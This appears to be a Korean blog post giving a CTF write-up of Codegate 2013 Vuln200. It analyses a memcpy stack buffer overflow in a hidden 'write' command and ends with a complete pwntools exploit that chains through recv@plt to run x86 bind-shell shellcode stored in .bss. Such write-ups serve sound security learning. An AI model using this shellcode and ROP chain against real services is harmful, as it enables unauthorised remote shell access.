ABOUT ME

-

Today
-
Yesterday
-
Total
-
  • Codegate2013 Vuln200 Write-up
    표튜터와 함께하는 Pwnable/CTF Write-up 2019.02.07 21:06

    혹시나 이상하거나 잘못된 것이 있다면 댓글 부탁드립니다.


    Codegate2013 Vuln200 Write up이다. 

    다하고 보니 생각보다 쉽지만 너무 어렵다고 생각해서 그런지 많이 돌아온 듯 하다..

    ctf 출제 문제들을 많이 풀어보지 않아서 그런거라고 위안을 삼고 노력해야겠다ㅠ

    참고로 파일명은 hello로 편의를 위해 내가 변경한 것이다.(오해 노노~)






    우선 문제를 풀기위해 셋팅을 해주고~

    실행을 시켜보았다.

    몇 가지 메뉴가 나왔다~






    대충 이런느낌의 프로그램이었다.

    md5나 base64인코딩과 디코딩








    이 파일에 어떤 mitigation이 있는지 확인해보았다.

    NX보호기법이 없기 때문에 스택에서 공격이 가능할 것으로 보이고

    symbol이 지워져있었다. 

    그리고 dynamically linked로 공유라이브러리를 사용하고 있기 때문에

    RTL을 이용할 수도 있다고 판단했다.








    다음으로는 IDA를 켜서 코드를 분석해보기로 했다.

    참고로 IDA에서 보여주는 변수들은 그대로 스택에 쌓이는 순서이다.

    예를 들자면 그림과 같다.



    IDA Hex ray로 본 바이너리



    Main()함수를 분석해보기로 하였다.

    실제로 프로그램에서 동작하는 부분은 다른 함수로 빠져있었다.

    이 부분은 R_main이라고 새로 명명해주었고

    주로 사용되는 변수들을 찾아보았다.

    buf라는 변수와 fd, length가 R_main의 인자로 넘어갔다.









    buf의 크기는 400이였고

    recv는 수신할 수 있는 바이트 크기를 return함으로 

    length 역시 400이 되었다.



    다음으로는 R_main()함수를 분석해보기로 했다.

    우선 눈에 들어왔던 것은 바로 "write" 였다.

    분명 메뉴에는 없었지만 아래의 코드를 보니 또하나의 숨겨진 메뉴같았다.






    또한 이 부분에서 memcpy에 대한 취약점이 일어날 수 있는 생김새가 발견되었다.









    위의 코드에서 사용되는 dest의 크기는 236인데

    memcpy에서의 length값이 236보다 크기 때문에

     스택 버퍼오버플로우가 충분히 일어날 수 있었다.







    또한 sub_80493B1()함수를 보니

    dump.txt파일로 dest에 대한 메모리를 dump해주는 코드가 들어있었다.









    프로그램에서 write를 입력해보았더니 dump.txt파일이

    생성되었고 내부에는 인자로 넘겨준 값들이 들어가 있었다.

    memcpy에서 length의 길이가 더 길게되면 

    오버플로우가 일어나는 이유를 눈으로 보게되었다.





    위의 내용을 이용하여 exploit 코드를 짜보았다.

    이런 형식으로 exploit 코드를 제작하기로 했다.





    우리가 필요한 것은 sfp까지 덮을 "문자"*240개

    쉘코드를 담을 bss영역의 버퍼

    recv@plt

    recv의 인자를 담을 ppppr이 있었다.




    저런식으로 구성하는 이유는

    "a"*240으로 dest버퍼와 sfp까지 덮은 뒤 ret를 recv@plt로 해서

    RTL Chaning을 하게된다.

    recv() 함수의 인자가 4개이므로

    ppppr의 gadget이 필요하며

    인자로 bss영역을 버퍼로 주고 shellcode의 길이 값 등을 주어

    bss영역에 shellcode를 저장시킬준비를 한 뒤

    실행을 시켜주면 된다!!



    하나씩 차근차근 구해보았다.




    먼저 recv@plt 이다.

    recv()@plt = 0x08048780






    .bss영역

    .bss = 0x0804b0a0






    ppppr Gadget

    ppppr Gadget = 0x0804947c







    위의 내용들을 이용해서 exploit을 짜보았다.

    exploit 마지막에 p.send를 이용하여 bss영역에 만들어놓은

    버퍼에 쉘코드를 입력하면 쉘코드가 들어있는 버퍼가

     ret로 넘어가면서 쉘코드가 실행된다.





    1
    2
    3
    4
    5
     6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    from pwn import *
     
    bss=0x0804b0a0
    gadget=0x0804947c
    recv_plt=0x08048780
    p=remote("localhost",7777)
     
    shell = "\x6a\x66\x6a\x01\x5b\x58\x99\x52\x6a\x01\x6a\x02\x89\xe1\xcd\x80\x89
                \xc6\x6a\x66\x58\x43\x52\x66\x68\xfc\x15\x66\x53\x89\xe1\x6a\x10\x51
             \x56\x89\xe1\xcd\x80\x6a\x66\x58\x43\x43\x6a\x05\x56\xcd\x80\x6a\x66
             \x58\x43\x52\x52\x56\x89\xe1\xcd\x80\x89\xc3\x6a\x3f\x58\x31\xc9\xcd
             \x80\x6a\x3f\x58\x41\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f
             \x62\x69\x6e\x89\xe3\x99\x50\xb0\x0b\x59\xcd\x80"
         
    payload = "write"
    payload += "a"*240
    payload += p32(recv_plt)
    payload += p32(gadget)
    payload += p32(4)
    payload += p32(bss)
    payload += p32(len(shell))
    payload += p32(0)
    payload += p32(bss)
     
    p.send(payload)
    sleep(0.5)
    p.send(shell)
     
     









    쉘코드가 64533번 포트를 열어주는 쉘코드임으로

    이런식으로 공격을 진행한다.








    '표튜터와 함께하는 Pwnable > CTF Write-up' 카테고리의 다른 글

    ropasaurusrex Write-up  (0) 2019.02.12
    BaskinRobins31 Write-up  (0) 2019.02.11
    Codegate2013 Vuln200 Write-up  (0) 2019.02.07

    댓글 0

Designed by Tistory.